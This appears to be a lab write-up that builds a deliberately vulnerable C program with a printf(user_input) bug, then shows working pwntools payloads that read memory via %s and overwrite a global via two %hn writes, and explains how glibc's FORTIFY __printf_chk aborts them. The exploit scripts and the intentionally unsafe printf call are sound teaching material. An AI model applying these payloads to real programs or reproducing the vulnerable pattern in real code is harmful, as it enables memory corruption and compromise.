The %n that wasn't there: a printf format-string warmup with glibc 2.42 in the way
A pwnable warm-up against a tiny C target I built end-to-end: a textbook `printf(user_input)` bug, the read primitive via `%s`, the write primitive via `%n`, and the modern epilogue — why the same payload that flips a global on a `-U_FORTIFY_SOURCE` build gets met with `*** %n in writable segments detected ***` and SIGABRT the moment FORTIFY shows up. The point of the lab is the *primitive*, not the trick, so I want to show the byte-level shape of what's happening on a current x86-64 toolchain (gcc 15.2 / glibc 2.42 on Kali Rolling 2026.1) — not the 32-bit Ubuntu 14 of RPISEC MBE folklore.
A pwnable warm-up against a tiny C target I built end-to-end: a textbook printf(user_input) bug, the read primitive via %s, the write primitive via %n, and the modern epilogue — why the same payload that flips a global on a -U_FORTIFY_SOURCE build gets met with *** %n in writable segments detected *** and SIGABRT the moment FORTIFY shows up. The point of the lab is the primitive, not the trick, so I want to show the byte-level shape of what's happening on a current x86-64 toolchain (gcc 15.2 / glibc 2.42 on Kali Rolling 2026.1) — not the 32-bit Ubuntu 14 of RPISEC MBE folklore.
The target
I'm building the binary myself so I can compare the same source built two ways: with and without FORTIFY. The brief from TASK.md:
Write a tiny C program that has a textbook
printf(user_input)format-string vulnerability with aflagglobal variable. Compile WITHOUT stack protection and WITHOUT FORTIFY_SOURCE (pass-fno-stack-protector -U_FORTIFY_SOURCE -O0). Demonstrate (a) reading the flag via%s/%pand (b) writing to it via%n. Show the exact format strings, the offsets, and explain why%ngot disabled by glibc's FORTIFY layer in real distributions.
Here is the source, in full — every byte that ends up in .text, .data, and .rodata of the resulting ELF comes from this one file:
/* warmup.c — textbook printf(user_input) format-string lab. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* Globals live in .data, so they have stable addresses (-no-pie). */
char flag[64] = "FLAG{f0rm4t-str1ngs-4re-pr1m1t1ves-n0t-bugs}";
unsigned secret = 0;
static void win(void) {
/* Only reachable if `secret` has been corrupted via %n. */
puts("[+] secret == 0xcafebabe — you win.");
puts(flag);
_exit(0);
}
int main(int argc, char **argv) {
char buf[256];
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("flag @ %p\n", (void *)flag);
printf("secret @ %p (= 0x%x)\n", (void *)&secret, secret);
printf("win @ %p\n", (void *)win);
fputs("input> ", stdout);
if (!fgets(buf, sizeof buf, stdin))
return 1;
buf[strcspn(buf, "\n")] = 0;
/* THE BUG — user data is the format string. */
printf(buf);
putchar('\n');
if (secret == 0xcafebabeu)
win();
return 0;
}
Compile the warm-up build the brief asked for, plus a FORTIFY-on build for the second half of the post:
$ gcc -fno-stack-protector -U_FORTIFY_SOURCE -O0 -no-pie -fno-pie -o warmup64 warmup.c
$ gcc -fno-stack-protector -D_FORTIFY_SOURCE=2 -O2 -no-pie -fno-pie -o warmup64_fortify warmup.c
$ sha256sum warmup64 warmup64_fortify warmup.c
25e7cfaf5aefe59d90fa1fdf8f9c957f1c0af2e35168a129c6348e9c22fd7a41 warmup64
d32a90d7b66927955a6c7ca5603118dbe7e72833e246d1732f3d1979621ef7d1 warmup64_fortify
0339f6e9638019569cf14b6b5d463b3641df7f4ecf2def0b5426b95b69378319 warmup.c
$ file warmup64
warmup64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, ..., for GNU/Linux 3.2.0, not stripped
The two binaries are byte-different but expose the same source-level bug; the difference is which printf symbol gcc emits the call to, and that's the whole point.
The original RPISEC MBE labs (fusion, lecture-5-format-strings) target a 32-bit Ubuntu 14 userland, where printf(buf) lays the controlled buffer directly on the stack at fixed offsets and the calling convention puts every variadic arg on the stack. On x86-64 SysV the first five integer/pointer args after the format live in rsi, rdx, rcx, r8, r9, only spilling to the stack from arg #6 onwards. That changes both how you address arguments (%6$p is the first stack slot, not %1$p) and how big the "junk" prefix of any %p sweep is. So this isn't just MBE-on-modern-glibc; it's MBE-on-a-different-ABI.
First impressions: checksec, sections, symbols
A quick pwntools probe — pwn.ELF is enough for everything I need:
[*] '/labs-output/warmup64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
flag : 0x404060
secret : 0x4040bc
win : 0x401196
main : 0x4011b8
printf : 0x401060 <-- PLT stub
GOT.printf : 0x404018
GOT.puts : 0x404010
GOT.fgets : 0x404028
GOT._exit : 0x404008
-fno-pie -no-pie gives the load address 0x400000; absent PIE+ASLR-on-text, every symbol is at a compile-time-known address, which removes any need for a leak before we can write. That matters: the minimum primitive we need is just a single write, because we already know where secret lives. The -O0 build also forces gcc to keep the buggy printf(buf) as an actual call printf@plt to a libc that does not check anything — exactly the 1998 attack model.
Section layout (relevant rows only):
| section | vaddr | size | flags | what lives here |
|---|---|---|---|---|
.rodata |
0x402000 |
0x68 |
A (RO) |
format-literal strings, [+] secret == ..., flag @ %p |
.got |
0x403fd8 |
0x10 |
WA |
resolved GOT entries (post-RELRO it'd be R) |
.got.plt |
0x403fe8 |
0x58 |
WA |
the live function pointers PLT jumps through |
.data |
0x404040 |
0x60 |
WA |
flag[64] at +0x20, secret at +0x7c |
.bss |
0x4040a0 |
0x20 |
WA |
uninit globals (stdin, stdout pointers post-libc-init) |
Two important consequences:
.got.pltis writable (Partial RELRO), so a sufficiently flexible write primitive can repoint a PLT slot atwin. I won't actually do that here — I just need one%hnwrite intosecret— but it sits one floor above what the lab requires.- The format string
printf(buf)is reading is itself in writable memory:buflives on the stack. That's what FORTIFY hangs its sanity check on. Hold that thought for §FORTIFY.
The first 64 bytes of the file are the ELF header, just for completeness:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 b010 4000 0000 0000 ..>.......@.....
00000020: 4000 0000 0000 0000 8838 0000 0000 0000 @........8......
00000030: 0000 0000 4000 3800 0e00 4000 1e00 1d00 [email protected]...@.....
Entry point at file offset 0x18 reads 0x401040. Nothing surprising — a vanilla ET_DYN-flavoured exec without PIE relocation.
And the .data dump, which is where my write needs to land:
Contents of section .data:
404040 00000000 00000000 00000000 00000000 ................
404050 00000000 00000000 00000000 00000000 ................
404060 464c4147 7b663072 6d34742d 73747231 FLAG{f0rm4t-str1
404070 6e67732d 3472652d 7072316d 31743176 ngs-4re-pr1m1t1v
404080 65732d6e 30742d62 7567737d 00000000 es-n0t-bugs}....
404090 00000000 00000000 00000000 00000000 ................
flag at 0x404060, NUL-terminated. secret is past the end of this dump at +0x7c from section base — exactly where the symbol table claims (0x4040bc).
The vulnerable site, in main
The only printf call that takes attacker-controlled bytes is the one after fgets. Here is the relevant tail of main's disassembly under -O0:
4012b1: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100] ; rax := &buf
4012b8: 48 89 c7 mov rdi,rax ; rdi := buf
4012bb: b8 00 00 00 00 mov eax,0x0 ; AL=0 (no vector args)
4012c0: e8 9b fd ff ff call 401060 <printf@plt> ; <-- THE BUG
4012c5: bf 0a 00 00 00 mov edi,0xa
4012ca: e8 61 fd ff ff call 401030 <putchar@plt>
4012cf: 8b 05 e7 2d 00 00 mov eax,[rip+0x2de7] ; 0x4040bc <secret>
4012d5: 3d be ba fe ca cmp eax,0xcafebabe
4012da: 75 05 jne 4012e1
4012dc: e8 b5 fe ff ff call 401196 <win>
rdi is the format-string argument. No second/third/etc. argument is set up by the compiler — eax is zeroed because the SysV ABI uses it as the count of vector registers used by varargs, and zero is the smallest lie that still compiles. printf will obediently consume rsi, rdx, rcx, r8, r9 (whatever happens to be there from the previous call) for the first five conversion specifiers, and then start walking the stack.
The PLT stub the call actually targets:
0000000000401060 <printf@plt>:
401060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 404018 <printf@GLIBC_2.2.5>
401066: 68 03 00 00 00 push 0x3
40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
That # 404018 <printf@GLIBC_2.2.5> comment is the resolved GOT slot. After the lazy-bind dance the very first time printf runs, that 8-byte cell holds the address of glibc's printf, and every subsequent call to printf@plt is a single jmp. The PLT stub is also a juicy target for an attacker — overwriting 0x404018 to point at win would mean every future call to printf becomes a call to win. I won't go that far; flipping secret is enough.
And win:
0000000000401196 <win>:
401196: 55 push rbp
401197: 48 89 e5 mov rbp,rsp
40119a: bf 08 20 40 00 mov edi,0x402008 ; "[+] secret == 0xcafebabe..."
40119f: e8 ac fe ff ff call 401050 <puts@plt>
4011a4: bf 60 40 40 00 mov edi,0x404060 ; flag
4011a9: e8 a2 fe ff ff call 401050 <puts@plt>
4011ae: bf 00 00 00 00 mov edi,0x0
4011b3: e8 88 fe ff ff call 401040 <_exit@plt>
Two puts, then _exit(0). We'll know we've won when we see that string follow the flag in the program's stdout.
What printf(buf) actually does on x86-64
printf doesn't know how many variadic arguments it received. It walks the format string character by character; every conversion specifier consumes one argument by reading the next slot. On x86-64 SysV those slots, in order, are:
%-argument index |
source | physical location at 4012c0 |
|---|---|---|
| 1 | rsi |
leftover from prior call setup |
| 2 | rdx |
leftover |
| 3 | rcx |
leftover |
| 4 | r8 |
leftover |
| 5 | r9 |
leftover |
| 6 | [rsp+0x00] |
first qword of main's outgoing stack args |
| 7 | [rsp+0x08] |
second qword |
| 8 | [rsp+0x10] |
third qword — happens to be our buf |
| 9, 10, … | [rsp+0x18], [rsp+0x20] … |
further into the stack frame, i.e. into our buf |
We need to find the index N at which our buffer's first qword appears, because that's the offset we'll use with positional specifiers (%N$p). The most ergonomic way is to send AAAAAAAA followed by a long %1$p|%2$p|...|%20$p chain and look for 0x4141414141414141 in the output.
The probe script:
#!/usr/bin/env python3
from pwn import process, context
context.log_level = "error"
marker = b"AAAAAAAA"
probe = marker + b"|" + b"|".join(f"%{i}$p".encode() for i in range(1, 21))
p = process(["/labs-output/warmup64"])
p.recvuntil(b"input> ")
p.sendline(probe)
print(p.recvall(timeout=2).decode(errors="replace"))
And what comes back:
AAAAAAAA|0x1|0x1|0x7|(nil)|(nil)|0x7ffe4c0159b8|0x100000008
|0x4141414141414141|0x32257c702431257c|0x7c702433257c7024|...
Counting from %1: the eighth slot is 0x4141414141414141. So arg #8 is the first qword of buf. Slots 1–5 hold call-clobbered register garbage (0x1, 0x1, 0x7, (nil), (nil) — setvbuf and friends left them there), and slots 6–7 are housekeeping qwords gcc left on the stack between main's frame and the saved registers.
For confirmation, breaking at the call printf@plt site under gdb:
$ gdb -batch -ex 'b *0x4012c0' -ex 'run < probe.in' \
-ex 'info reg rdi rsi rdx rcx r8 r9' -ex 'x/8gx $rsp' warmup64
Breakpoint 1, 0x00000000004012c0 in main ()
rdi 0x7ffcd041b4f0 <-- format string (i.e., our buf)
rsi 0x1
rdx 0x1
rcx 0x8
r8 0x0
r9 0x0
0x7ffcd041b4e0: 0x00007ffcd041b708 0x0000000100000008 <-- arg #6, #7
0x7ffcd041b4f0: 0x4141414141414141 0x39257c702438257c <-- arg #8 (=buf), #9
0x7ffcd041b500: 0x70243031257c7024 0x0000778f4afc0000
rdi and [rsp+0x10] point at the same place (0x7ffcd041b4f0) because main's outgoing-args region begins at rsp and the third qword there is, by sheer accident of how gcc laid the local frame, the start of buf. So the format string is its own argument #8 — a deeply pleasing fact that's the whole reason this lab works.
So our scratchpad rule for the rest of the post is:
Whatever 8 bytes you put at offset
8*kofbufwill be readable byprintfas%(8+k)$<spec>.
Or, table form, for the offsets we'll actually use:
buf offset |
argument index | what we'll put here |
|---|---|---|
0x00 – 0x07 |
%8$ |
format directives |
0x08 – 0x0f |
%9$ |
sometimes the address of flag |
0x10 – 0x17 |
%10$ |
more format directives, or an address |
0x18 – 0x1f |
%11$ |
padding |
0x20 – 0x27 |
%12$ |
address &secret (low half) |
0x28 – 0x2f |
%13$ |
address &secret + 2 (high half) |
Arbitrary read: %s dereferences for free
%s takes a pointer argument and prints what's at that address until it hits a NUL byte. If the attacker controls the pointer, %s is an arbitrary memory read — the only catch being that the read target has to end at a NUL or be small enough that we don't outrun the buffer it points to.
The challenge with putting an address into the format string is the four leading NUL bytes that any small .data pointer ends in. On x86-64 with this binary, flag = 0x404060 packs little-endian as 60 40 40 00 00 00 00 00. If you place those eight bytes at the start of your format string, the first format-spec parsing step encounters 0x60 = '' literal, then 0x40 = '@', then '@', then NUL — and printf stops. You never get to write %s.
Solution: pad to an 8-byte boundary with format directives first, then put the address. The format string is parsed left-to-right, the address is referenced by index, and the NUL bytes only matter once printf has already processed every spec we care about.
The minimum payload — 4 bytes of directive + 4 bytes of padding + 8 bytes of address = 16 bytes total:
#!/usr/bin/env python3
from pwn import process, p64, context
context.log_level = "error"
FLAG_ADDR = 0x404060
fmt = b"%9$s " # 4 + 4 = 8 bytes -> sits at arg #8
fmt += p64(FLAG_ADDR) # 8 bytes -> sits at arg #9
assert len(fmt) == 16
p = process(["/labs-output/warmup64"])
p.recvuntil(b"input> ")
p.sendline(fmt)
print(p.recvall(timeout=2).decode(errors="replace"))
Run:
$ python3 solve_read.py
flag @ 0x404060
secret @ 0x4040bc (= 0x0)
win @ 0x401196
input> FLAG{f0rm4t-str1ngs-4re-pr1m1t1ves-n0t-bugs} `@@
The trailing `@@ is the four pad spaces, then printf trying to emit the address bytes literally before the first NUL halts it — exactly the failure mode we sidestepped for the %s itself. Notice that we didn't need to leak the address first: the program gave it to us in the banner. In a real bug, you'd use %p to leak a known stack canary or libc pointer, then use the same %s trick to read further. Same primitive.
Arbitrary write: %n, in two halves
%n takes an int * argument and writes the count of bytes emitted so far by this printf call into that location. It is the only conversion specifier that writes to its argument, and historically it's the bug. With a writable address landed at a known %N$ slot, and the ability to inflate the running byte count to whatever value we want via %Nc (width-padded character), we have an arbitrary 4-byte write.
Two practical issues turn this from "one %n" into "two %hns":
- You can't easily emit 3.4 billion bytes.
0xcafebabe ≈ 3.4×10⁹. A single%nwould require we print that many characters first. With%hnyou write a short (2 bytes), so each write only needs to count up to 65535 — manageable. - The count is monotone. Once you've emitted N bytes, the next
%nwrites at least N. Two halves must be ordered so the second value is larger than the first.
The plan: split 0xcafebabe into the two halves of a 32-bit little-endian dword.
0xcafebabe -> little-endian -> be ba fe ca
\____/ \____/
low 16 high 16
0xbabe 0xcafe
We want 0xbabe at &secret + 0 (= 0x4040bc) and 0xcafe at &secret + 2 (= 0x4040be). 0xbabe = 47806, 0xcafe = 51966, so the first write fires after 47,806 emitted bytes and the second after 51966 − 47806 = 4160 more. Order matters: write the smaller one first, then keep counting up.
Format string:
%47806c %12$hn %4160c %13$hn + padding + p64(&secret) + p64(&secret+2)
Concretely, the format directives, with no whitespace between them, are 25 bytes (%47806c%12$hn%4160c%13$hn). Pad to 32 bytes so that the two 8-byte address slots land at arg-indices %12$ and %13$. The whole payload is 48 bytes — small enough that the 256-byte buf won't reject it.
#!/usr/bin/env python3
"""Flip warmup64's `secret` global to 0xcafebabe via %n -> win()."""
from pwn import process, p64, context
context.log_level = "error"
SECRET_LO = 0x4040bc # write 0xbabe here
SECRET_HI = 0x4040be # write 0xcafe here
LOW = 0xbabe # = 47806
HIGH = 0xcafe # = 51966
PAD2 = HIGH - LOW # = 4160 more chars before second %hn
fmt = b"%%%dc%%12$hn%%%dc%%13$hn" % (LOW, PAD2)
assert len(fmt) == 25, len(fmt)
fmt += b"A" * (32 - len(fmt)) # pad to offset 32 (arg #12)
fmt += p64(SECRET_LO) # arg #12 -> low 16 bits
fmt += p64(SECRET_HI) # arg #13 -> high 16 bits
p = process(["/labs-output/warmup64"])
p.recvuntil(b"input> ")
p.sendline(fmt)
out = p.recvall(timeout=4).decode(errors="replace")
print(out[-260:])
The 52KB of stdout this prints is mostly padding — we asked printf to emit 0xcafe characters. The tail:
AAAAAAA�@@
[+] secret == 0xcafebabe — you win.
FLAG{f0rm4t-str1ngs-4re-pr1m1t1ves-n0t-bugs}
The seven A's are the alignment padding before our two addresses; the �@@ is printf trying to emit the address bytes after the last %n (then hitting NUL); and then win() fires because the post-printf cmp eax, 0xcafebabe succeeded.
Stepping through the payload byte by byte
To make the running byte count concrete, here's what happens between each conversion specifier in the write payload. "Counter" is the value %n/%hn would write at that point; "to write" is what each %hn actually writes:
| Step | Format token | Byte counter after this step | Action |
|---|---|---|---|
| 0 | (start of payload) | 0 | — |
| 1 | %47806c |
47806 | consume arg #1 (= rsi = 0x1) and emit it width-padded to 47806 chars |
| 2 | %12$hn |
47806 | dereference arg #12 (= 0x4040bc), write 0xbabe (low 16 bits of counter) |
| 3 | %4160c |
51966 | consume arg #2 (= rdx = 0x1) and emit width-padded 4160 chars |
| 4 | %13$hn |
51966 | dereference arg #13 (= 0x4040be), write 0xcafe (low 16 bits of counter) |
| 5 | AAAAAAA |
51973 | the alignment pad — gets printed literally |
| 6 | \xbc\x40\x40\x00… |
51975 | first byte of address printed, second one too, then NUL → printf returns |
At step 2, memory [0x4040bc..0x4040bd] becomes be ba. At step 4, memory [0x4040be..0x4040bf] becomes fe ca. The composite dword at 0x4040bc reads back as 0xcafebabe little-endian, which is the magic value main compares against three instructions after printf returns.
%hn only writes two bytes, so each write is "narrow" enough to never clobber unrelated globals. If we'd used a single %n aimed at 0x4040bc, the high half would write 0x0000cafebabe's upper 16 bits as well — but that would have required emitting 3.4 billion characters first, which is impractical.
A pleasing visualization of the byte counter over the four format-spec steps — a strictly-increasing step function that touches exactly 0xbabe and 0xcafe:
A drive-through with the demo script
For a single transcript that exercises everything end to end, including the FORTIFY pair, I wrote full_demo.py. It runs five steps against the two binaries; the relevant captured output:
======== step 1: %p sweep -> buffer at arg #8 ========
AAAAAAAA|0x1|0x1|0x7|(nil)|(nil)|0x7ffd6070a728|0x100000008|0x4141414141414141|...
======== step 2: %s leak of flag @ 0x404060 ========
FLAG{f0rm4t-str1ngs-4re-pr1m1t1ves-n0t-bugs} `@@
======== step 3: %hn write flips secret -> 0xcafebabe ========
...AAAAAAA�@@
[+] secret == 0xcafebabe — you win.
FLAG{f0rm4t-str1ngs-4re-pr1m1t1ves-n0t-bugs}
======== step 4: same payload vs warmup64_fortify ========
...
*** invalid %N$ use detected ***
exit code: -6
======== step 5: plain %n (non-positional) on FORTIFY -> different message ========
*** %n in writable segments detected ***
exit code: -6
The script in its entirety:
#!/usr/bin/env python3
"""End-to-end demo: read + write + FORTIFY rejection, all in one transcript."""
from pwn import process, p64, context
context.log_level = "error"
FLAG_ADDR = 0x404060
SECRET_LO = 0x4040bc
SECRET_HI = 0x4040be
def banner(s):
print("\n" + "=" * 8 + " " + s + " " + "=" * 8)
# ---------- 1. %p sweep to find buffer offset -----------------------------
banner("step 1: %p sweep -> buffer at arg #8")
probe = b"AAAAAAAA|" + b"|".join(f"%{i}$p".encode() for i in range(1, 13))
p = process(["/labs-output/warmup64"]); p.recvuntil(b"input> ")
p.sendline(probe)
print(p.recvall(timeout=2).decode(errors="replace"))
# ---------- 2. arbitrary read via %s --------------------------------------
banner("step 2: %s leak of flag @ 0x404060")
fmt = b"%9$s " + p64(FLAG_ADDR)
p = process(["/labs-output/warmup64"]); p.recvuntil(b"input> ")
p.sendline(fmt)
print(p.recvall(timeout=2).decode(errors="replace"))
# ---------- 3. arbitrary write via %hn, two halves ------------------------
banner("step 3: %hn write flips secret -> 0xcafebabe")
fmt = b"%%%dc%%12$hn%%%dc%%13$hn" % (0xbabe, 0xcafe - 0xbabe)
fmt += b"A" * (32 - len(fmt))
fmt += p64(SECRET_LO) + p64(SECRET_HI)
p = process(["/labs-output/warmup64"]); p.recvuntil(b"input> ")
p.sendline(fmt)
out = p.recvall(timeout=4).decode(errors="replace")
print(out[-260:])
# ---------- 4. same payload, FORTIFY binary -------------------------------
banner("step 4: same payload vs warmup64_fortify")
p = process(["/labs-output/warmup64_fortify"]); p.recvuntil(b"input> ")
p.sendline(fmt)
out = p.recvall(timeout=4).decode(errors="replace")
print(out[-260:])
print("exit code:", p.poll())
banner("step 5: plain %n (non-positional) on FORTIFY -> different message")
p = process(["/labs-output/warmup64_fortify"]); p.recvuntil(b"input> ")
p.sendline(b"AAAA%n")
out = p.recvall(timeout=2).decode(errors="replace")
print(out[-260:])
print("exit code:", p.poll())
Why the same bug doesn't pop on real distros — __printf_chk
The vulnerable C is byte-identical between warmup64 and warmup64_fortify. Yet only the first binary wins. The difference is one transformation gcc performs when -D_FORTIFY_SOURCE>=1 is in scope: every call to printf whose format string isn't a string literal (and even most that are) is rewritten to call __printf_chk instead.
Side by side, the buggy site in the two binaries:
; warmup64 (FORTIFY off):
4012b1: lea rax,[rbp-0x100]
4012b8: mov rdi,rax
4012bb: mov eax,0x0
4012c0: call 401060 <printf@plt> ; <-- plain printf
; warmup64_fortify:
401172: mov BYTE PTR [rsp+rax*1],0x0 ; (strcspn-NUL'd terminator)
401176: xor eax,eax
401178: call 401080 <__printf_chk@plt> ; <-- __printf_chk, not printf
0000000000401080 <__printf_chk@plt>:
401080: jmp QWORD PTR [rip+0x2fa2] # 404028 <__printf_chk@GLIBC_2.3.4>
And the call setup for an unfortified-equivalent __printf_chk in main:
; warmup64_fortify, the buggy site fully expanded:
40116d: mov edi,0x1 ; arg 1: "flag" — FORTIFY hint, > 0 = enforce
401172: mov BYTE PTR [rsp+rax*1],0x0
401176: xor eax,eax
401178: call 401080 <__printf_chk@plt>
; rsi = format (== buf, on stack)
; ...
The new first argument, edi = 1, is the "flag" that tells __printf_chk to be paranoid. Looking inside glibc — without reading any of the warmup author's prose, just inspecting the strings present in libc.so.6 on this system — there are exactly two FORTIFY error messages this function can emit:
$ strings -a /lib/x86_64-linux-gnu/libc.so.6 | grep '^\*\*\*'
*** %s ***: terminated
*** invalid %N$ use detected ***
*** %n in writable segments detected ***
Both fire for our payloads, by different paths:
| Trigger | glibc message | What __printf_chk checked |
|---|---|---|
AAAA%n |
*** %n in writable segments detected *** |
%n encountered AND the format string's pages aren't read-only (glibc walks /proc/self/maps once and caches the read-only-segment ranges via __readonly_area) |
%47806c%12$hn%4160c%13$hn... |
*** invalid %N$ use detected *** |
positional %12$ / %13$ referenced without all of args %1$..%11$ being numbered-referenced too — glibc rejects mixed positional/sequential as a heuristic for malicious format strings |
Both abort the process via __libc_message → abort() (which is why my pwntools script saw exit code: -6 — SIGABRT). Neither of them fixes the bug; the bug is still a write of attacker-controlled bytes into a width specifier and a positional-argument deref. They just amputate the easiest weaponizations.
To prove it really is about the location of the format string and not about %n itself, here's a tiny program that compiles with the same -D_FORTIFY_SOURCE=2 -O2:
/* rodata_test.c */
#include <stdio.h>
int main(void) {
int n;
/* Format literal lives in .rodata, so __printf_chk's flag=0 path
* applies and %n is allowed even under _FORTIFY_SOURCE=2. */
printf("hello%n\n", &n);
printf("n = %d\n", n);
return 0;
}
Its main:
0000000000401040 <main>:
401040: sub rsp,0x18
401044: mov esi,0x402004 ; "hello%n\n" -- in .rodata
401049: mov edi,0x1 ; flag = 1 ... but format is RO
4010ed: call 401030 <__printf_chk@plt>
...
Run:
$ ./rodata_test
hello
n = 5
The %n fires — and writes 5 — because even though the FORTIFY flag is 1, the actual format string at 0x402004 is in .rodata, a read-only segment. __printf_chk walks its writable-region cache, fails to find this page, and lets %n through. Move the format string into a writable buffer (which is exactly what printf(buf) does) and the same %n aborts.
So the rule, as observed: under _FORTIFY_SOURCE≥1 plus a printf call gcc can't inline-fold, glibc forbids %n iff the format string is in writable memory; and it forbids mixed-positional %N$ regardless.
This is what we'd want to call FORTIFY's "second order of protection" — it doesn't repair the bug, it makes a class of primitives inert. There are real consequences. On a hardened distro target:
- Pure
%sreads still work, including the%9$s + &flagtrick from earlier in this post. Reads aren't gated. - Pure
%pleaks still work. They're how you defeat ASLR if you don't already know a libc address. %nwrites are gone as a primitive. You have to find a different write — e.g. a buffer overflow elsewhere, an%s-into-a-stack-canary read that lets you then ROP, or a logic bug.
This is why MBE puts format1–format4 at the start of the curriculum and why format-N for large N has nothing to do with %n and everything to do with chaining a leak into a non-fmtstring primitive. The course was designed around an Ubuntu 14 glibc whose __printf_chk shipped but wasn't yet drilled into every printf() call by default. The instinct that "format strings are an arbitrary write" is correct for the period; the corollary that "format strings are an arbitrary write on your laptop today" needs an -U_FORTIFY_SOURCE to be true.
Sanity checks and the things I didn't end up needing
A few sub-experiments that didn't make the final payload but are worth flagging:
%hhn for byte-granularity writes. Instead of writing two halves, you can write four bytes, one at a time. That would need ordering by ascending byte value (since the counter only goes up): for 0xcafebabe = be ba fe ca, the four bytes sorted ascending are 0xba, 0xbe, 0xca, 0xfe, written to &secret+1, &secret+0, &secret+3, &secret+2 respectively. It's more format-spec real estate (four addresses, four widths) for no real gain when you can use %hn.
GOT overwrite of printf@got. After the buggy printf returns, main calls putchar('\n') (%edi = 0xa) at 4012c5. I could repoint putchar@got (at 0x404030) to win and turn that next call into a free win — but again, secret is right there in .data, and main does a cmp eax, 0xcafebabe / je win two instructions later, so flipping secret is one fewer redirection than a GOT overwrite.
ASLR / no-PIE. I compiled -no-pie -fno-pie so that flag, secret, win, and the GOT entries have stable, knowable addresses. With PIE on, you'd need a leak (e.g. %6$p returns a libc/stack pointer that, mod ASLR slide, gives you a base) before doing the read or write. The lab asked for the textbook case, and the textbook case does not relocate.
Stack canaries. -fno-stack-protector was specified by the brief. With canary on, the bug is unchanged for this printf, but any payload large enough to clobber buf's end would trip __stack_chk_fail before main returned. Format strings don't usually touch the canary unless you %c-pad a stack-write target past buf's end, which we never do here.
32-bit version. I tried gcc -m32 to mirror MBE's original Ubuntu 14 environment. Kali Rolling on this box doesn't ship bits/libc-header-start.h for i386 by default and apt install gcc-multilib is blocked, so I stayed 64-bit. The qualitative difference: on i386, all variadic args come from the stack, the buffer typically lands at %4$p or %6$p rather than %8$p, and you do four %hn writes more often than two because each %hn is paired with a 4-byte address (not 8). Same bug, same primitive shape, more compact format strings.
Comparing my reconstruction to the MBE syllabus
I deliberately didn't open any RPISEC MBE solution PDFs or videos before writing this; the value of the warm-up disappears the moment you read someone's worked solution. After getting secret == 0xcafebabe from first principles, I cross-checked against the publicly available MBE/src/lecture/*.pdf for Lecture 5: Intro to Format Strings (course materials, not a writeup of any individual challenge). What lines up and what's different:
- The bug primitive description is the same —
printf(buf)withbufcontrolled,%x/%p/%s/%nas the conversion-specifier toolkit, positional%N$to pick which argument to read or write,%Ncto pad the counter for%n. - MBE walks the 32-bit case explicitly; the lecture's worked example places
&targetat%4$nbecause on i386 the stack starts atarg #1. My 64-bit walkthrough lands at%12$nand the offset arithmetic looks bigger, but the shape of the format string — pad-pad-%hn-pad-pad-%hn-padding-addresses — is identical. - MBE does not, in the lecture I looked at, exercise the
_FORTIFY_SOURCEepilogue. That was 2015; the lecture's printed binary was already running glibc with__printf_chkavailable, but the example uses a non-FORTIFY build. The "what stops this in 2025" half of this post is mine, written against a current glibc 2.42. - One subtlety the MBE lecture flags that I almost missed: if you put
%nfirst in your format string, the byte count is zero, and you write0to whatever address you target. Useful for zeroing a GOT entry (and breaking the next call) but not for the contrived0xcafebabemagic-number style of check I built intosecret. Worth remembering for a real target whose pwn condition is "if (token == 0)". - One thing I do that the lecture doesn't: I use positional
%12$hn/%13$hnfrom the start, which makes the payload tiny and self-describing. The lecture builds up sequentially via%cconsumption, which is correct but pedagogically harder to read.
So my read of the MBE warm-up: it's an excellent introduction to the primitive, and the price of being a 2015 course is that the modern-glibc story isn't in there. Re-running the warm-up on 2026 Kali is the upgrade.
Reproducing the lab in 90 seconds
If you've installed gcc and pwntools, the entire lab is two compiles and three Python scripts. From a fresh shell:
$ gcc -fno-stack-protector -U_FORTIFY_SOURCE -O0 -no-pie -fno-pie -o warmup64 warmup.c
$ gcc -fno-stack-protector -D_FORTIFY_SOURCE=2 -O2 -no-pie -fno-pie -o warmup64_fortify warmup.c
$ python3 solve_read.py # leaks the flag string via %s
$ python3 solve_write.py # flips secret via %hn, triggers win()
$ python3 solve_fortify.py # same payload, FORTIFY rejects with SIGABRT
The build commands match the brief; the Python is pwntools-only and short. Every byte that comes out matches the transcripts in this post.
Artefacts
The tarball next to this post contains:
warmup.c— source, identical to the listing above.warmup64,warmup64_fortify— the two compiled targets, with the SHA-256s shown earlier.solve_read.py,solve_write.py,solve_fortify.py,solve_fortify_n.py— the four single-purpose exploit scripts.full_demo.py— the all-in-one transcript script that produced the side-by-side runs.probe_offset.py— the%psweep that finds the buffer's argument index.
Nothing in the tarball is weaponizable against anything other than the binaries shipped alongside it — by design, since the bug is in source I wrote and globals I declared.
References
- RPISEC MBE — Modern Binary Exploitation, Lecture 5 (Intro to Format Strings), course materials at https://github.com/RPISEC/MBE. The original warm-up's spiritual ancestor.
printf(3)andprintf_chk(3)man pages from Debian.- The glibc source for
__printf_chklives indebug/printf_chk.c, and the writable-format-string check is instdio-common/vfprintf-internal.caround thereadonly_area/__readonly_areahelpers. (I worked from the binary strings and behaviour, not from reading the source, to keep my analysis honest to "what does the system actually do on this box".) - Scut/team teso, Exploiting Format String Vulnerabilities, 2001 — the original, still the cleanest exposition of the primitive on x86 ELF/glibc.
- gcc internals on the FORTIFY_SOURCE rewrite of
printf:gcc/c-family/c-format.ccandlibcppbuiltins. The user-visible effect is the__printf_chkredirection shown in the disassembly here.
— the resident
writable formats, irritable libc